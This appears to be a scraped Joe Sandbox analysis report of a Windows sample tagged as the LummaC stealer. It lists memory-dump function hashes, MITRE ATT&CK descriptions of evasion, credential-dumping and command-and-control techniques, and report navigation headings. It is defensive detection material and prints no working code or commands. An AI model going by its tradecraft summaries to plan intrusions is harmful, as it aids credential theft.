Memory Dump Source

Source File: 00000000.00000002.2583109600.0000000005D5A000.00000040.00000800.00020000.00000000.sdmp, Offset: 05D50000, based on PE: true

Associated: 00000000.00000002.2583042396.0000000005D50000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2583063417.0000000005D52000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2583085606.0000000005D56000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2583109600.0000000005EDA000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2583109600.0000000005FF7000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2583109600.0000000006006000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2583109600.0000000006008000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5d50000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ac41824dfbd0e929d507a8de3c3125ad97db62eaf451834ac739dafa9faf5cde
Instruction ID: dfb683a85bbab65c73929abf13bc8bde87a68b36cb3a46a8535d36b7129f16d2
Opcode Fuzzy Hash: ac41824dfbd0e929d507a8de3c3125ad97db62eaf451834ac739dafa9faf5cde
Instruction Fuzzy Hash: 3D3160B3F5142147F3884838DD593A26583A7D5324F2F82798E6DAB7C5DC7E5C094384

Function 05D78266 Relevance: .1, Instructions: 90COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2583109600.0000000005D5A000.00000040.00000800.00020000.00000000.sdmp, Offset: 05D50000, based on PE: true

Associated: 00000000.00000002.2583042396.0000000005D50000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2583063417.0000000005D52000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2583085606.0000000005D56000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2583109600.0000000005EDA000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2583109600.0000000005FF7000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2583109600.0000000006006000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2583109600.0000000006008000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5d50000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9f8ba7a70e73695dbbfc38946956610b2d21f7a716c08454cdd5b4e403a4f6da
Instruction ID: 7bccc17b74c3c7920140e8f7eba75ce15cfb859b14fdb255c59441c57af281f9
Opcode Fuzzy Hash: 9f8ba7a70e73695dbbfc38946956610b2d21f7a716c08454cdd5b4e403a4f6da
Instruction Fuzzy Hash: E0315EF7F1152447F7544439DD693A2254387D5324F2F82798B1D6BBCADC7D4C0A9288

Function 05D7D25E Relevance: .1, Instructions: 87COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2583109600.0000000005D5A000.00000040.00000800.00020000.00000000.sdmp, Offset: 05D50000, based on PE: true

Associated: 00000000.00000002.2583042396.0000000005D50000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2583063417.0000000005D52000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2583085606.0000000005D56000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2583109600.0000000005EDA000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2583109600.0000000005FF7000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2583109600.0000000006006000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2583109600.0000000006008000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5d50000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cd93c649d355b55fcf574ace356552d9e9b87e93c95c102ff204d50b42d8d221
Instruction ID: 04c38df067e6fe98c803f5ee35f519d5c58bca83c17e8ad9c24f43f710a56cce
Opcode Fuzzy Hash: cd93c649d355b55fcf574ace356552d9e9b87e93c95c102ff204d50b42d8d221
Instruction Fuzzy Hash: 9D213AB3F1152547F394883ACD58363A5439BD5310F2FC2B98E9C6BBC9D87E9C4A5280

Function 05DB3895 Relevance: .1, Instructions: 84COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2583109600.0000000005D5A000.00000040.00000800.00020000.00000000.sdmp, Offset: 05D50000, based on PE: true

Associated: 00000000.00000002.2583042396.0000000005D50000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2583063417.0000000005D52000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2583085606.0000000005D56000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2583109600.0000000005EDA000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2583109600.0000000005FF7000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2583109600.0000000006006000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2583109600.0000000006008000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5d50000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dd5057e4badf645681c35a8834b4e23374c12f05f4c6d0297b5dea030340a480
Instruction ID: feaa95fd58d44b2140aba9e55b45371d06ff307eea4302df48c169de3c2498af
Opcode Fuzzy Hash: dd5057e4badf645681c35a8834b4e23374c12f05f4c6d0297b5dea030340a480
Instruction Fuzzy Hash: 82219DB3F2122547F3944C78CD883A66643D7D0325F2F82788E58ABBCAC97D9C0A1380

Function 05DB0F41 Relevance: .1, Instructions: 83COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2583109600.0000000005D5A000.00000040.00000800.00020000.00000000.sdmp, Offset: 05D50000, based on PE: true

Associated: 00000000.00000002.2583042396.0000000005D50000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2583063417.0000000005D52000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2583085606.0000000005D56000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2583109600.0000000005EDA000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2583109600.0000000005FF7000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2583109600.0000000006006000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2583109600.0000000006008000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5d50000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f0da34ce7a9f449990150f04c5c16be6057684a24deccc69211fb3dd9633a1c5
Instruction ID: 468d9cd649ca53dad5d7378547626082cfaf82b7feb3b81edc912535c0595342
Opcode Fuzzy Hash: f0da34ce7a9f449990150f04c5c16be6057684a24deccc69211fb3dd9633a1c5
Instruction Fuzzy Hash: 6A218EF3F1121547F3548D29CC483627283ABE4315F2F81788B489BBC5D93E9D0A5784

Function 05DA23B2 Relevance: .1, Instructions: 83COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2583109600.0000000005D5A000.00000040.00000800.00020000.00000000.sdmp, Offset: 05D50000, based on PE: true

Associated: 00000000.00000002.2583042396.0000000005D50000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2583063417.0000000005D52000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2583085606.0000000005D56000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2583109600.0000000005EDA000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2583109600.0000000005FF7000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2583109600.0000000006006000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2583109600.0000000006008000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5d50000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c037dd86256847d35c290704c57d34394544670ea00df4dba0e7fa2ac37c425f
Instruction ID: b3f47906951c9a5ef232acece9c37e63036a2332920c122624b3a12644ad2a35
Opcode Fuzzy Hash: c037dd86256847d35c290704c57d34394544670ea00df4dba0e7fa2ac37c425f
Instruction Fuzzy Hash: 74218BB3E1113147F3A448B8C958362A6C2AB84324F2F83798FADBB7C4DD6D4C0952C0

Function 05D9A257 Relevance: .1, Instructions: 83COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2583109600.0000000005D5A000.00000040.00000800.00020000.00000000.sdmp, Offset: 05D50000, based on PE: true

Associated: 00000000.00000002.2583042396.0000000005D50000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2583063417.0000000005D52000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2583085606.0000000005D56000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2583109600.0000000005EDA000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2583109600.0000000005FF7000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2583109600.0000000006006000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2583109600.0000000006008000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5d50000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8049e6ced0e33427d176feae211b4cfa301b9483d4ebedad8a0c95758fba30b5
Instruction ID: 9e489f986293e9f4653ff52aabd3dd7b1cd68fe8e6cc9ca28379354d5071a961
Opcode Fuzzy Hash: 8049e6ced0e33427d176feae211b4cfa301b9483d4ebedad8a0c95758fba30b5
Instruction Fuzzy Hash: F9213BB3F4122547F3644839DDA836265939BD6325F2F83788E1CABBC5D87E9D0A1284

Function 05D6DF0D Relevance: .1, Instructions: 82COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2583109600.0000000005D5A000.00000040.00000800.00020000.00000000.sdmp, Offset: 05D50000, based on PE: true

Associated: 00000000.00000002.2583042396.0000000005D50000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2583063417.0000000005D52000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2583085606.0000000005D56000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2583109600.0000000005EDA000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2583109600.0000000005FF7000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2583109600.0000000006006000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2583109600.0000000006008000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5d50000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7b912a1dede10d6a276d0b96325132ea05366ecddd66f58c3d705effdff2077a
Instruction ID: af6aa7944581a5e885bf5504484763073896fde687e06e78f761c55f5cfbf953
Opcode Fuzzy Hash: 7b912a1dede10d6a276d0b96325132ea05366ecddd66f58c3d705effdff2077a
Instruction Fuzzy Hash: 772138F3F1162247F3644869CC5837266839BD5310F2F42798F4DABBC5D87E5D0A5284

Function 05DAF435 Relevance: .1, Instructions: 80COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2583109600.0000000005D5A000.00000040.00000800.00020000.00000000.sdmp, Offset: 05D50000, based on PE: true

Associated: 00000000.00000002.2583042396.0000000005D50000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2583063417.0000000005D52000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2583085606.0000000005D56000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2583109600.0000000005EDA000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2583109600.0000000005FF7000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2583109600.0000000006006000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2583109600.0000000006008000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5d50000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 99afff4b4d9c3ac5dd065a20e3204dd90fcd238baedf30210976fbefe7364b8d
Instruction ID: a28030e301dba659e498c7391905d29d08703fa8b73996c2480cd14fc64769c8
Opcode Fuzzy Hash: 99afff4b4d9c3ac5dd065a20e3204dd90fcd238baedf30210976fbefe7364b8d
Instruction Fuzzy Hash: 40215CB7F5163547F36448B9CC88362A6839BA5324F2F83798F6CAB6D1DC7D9C064284

Function 05DAEF3B Relevance: .1, Instructions: 79COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2583109600.0000000005D5A000.00000040.00000800.00020000.00000000.sdmp, Offset: 05D50000, based on PE: true

Associated: 00000000.00000002.2583042396.0000000005D50000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2583063417.0000000005D52000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2583085606.0000000005D56000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2583109600.0000000005EDA000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2583109600.0000000005FF7000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2583109600.0000000006006000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2583109600.0000000006008000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5d50000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ea5247fa31ee0a87099fb75456d950bd96ed2e077845df15c55c69b88ec14c74
Instruction ID: d5beed3a8eb5fa4f139bb1c60cb360b6d6f598f200266f6165f26badb7c590bf
Opcode Fuzzy Hash: ea5247fa31ee0a87099fb75456d950bd96ed2e077845df15c55c69b88ec14c74
Instruction Fuzzy Hash: 5E2156B7F1252107F3984878DC99366A5839BD1314F2B82798E4E6B7C5DC3E5C0A5284

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: LummaC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Compliance

Networking

System Summary

Data Obfuscation

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Chrome Cache Entry: 100

Chrome Cache Entry: 101

Chrome Cache Entry: 102

Chrome Cache Entry: 103

Chrome Cache Entry: 104

Chrome Cache Entry: 105

Chrome Cache Entry: 106

Chrome Cache Entry: 107

Chrome Cache Entry: 108

Chrome Cache Entry: 109

Chrome Cache Entry: 110

Chrome Cache Entry: 111

Chrome Cache Entry: 112

Chrome Cache Entry: 113

Windows Analysis Report
file.exe